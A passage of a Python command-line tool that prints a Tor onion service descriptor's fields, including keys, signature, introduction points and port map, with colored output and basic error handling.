            print(colored(f" -  Publish Date & Time: {ehs.published}"))
            print(colored(f" -  Descriptor Identifier: {ehs.descriptor_id}"))
            print(colored(f" -  Descriptor Hash: {ehs.secret_id_part}"))
            print(colored(f" -  Descriptor Version: {ehs.version}"))
            print(colored(" -  Permanent Key: "))
            print(
                colored("    " + ehs.permanent_key.replace("\n", "\n    "),
                        dark=True))
            print(colored(" -  Signature: "))
            print(
                colored("    " + ehs.signature.replace("\n", "\n    "),
                        dark=True))
            print(colored(" -  Introduction Points:"))
            print(
                colored(
                    f"      {' Identifier '.center(32, '-')}  {' Address '.center(21, '-')}",
                    dark=True))
            for introduction_point in sorted(ehs.introduction_points(),
                                             key=lambda x: x.identifier):
                score = status = None
                print(
                    colored(
                        f"    - {introduction_point.identifier}: " +
                        f"{introduction_point.address}:{introduction_point.port}",
                        dark=True))
            print("")
            print(colored(" -  HS Port Map:"))
            for port, target in ports.items():
                print(colored(f"    - {port}: {target}", dark=True))
        else:
            parser.print_help()
    except Exception as e:
        print(colored(f"[!] {type(e).__name__}:", "red"))
        print(colored(f" -  {e}", "red", True))
    except KeyboardInterrupt:
        print(colored("[!] Keyboard Interrupted!", "red"))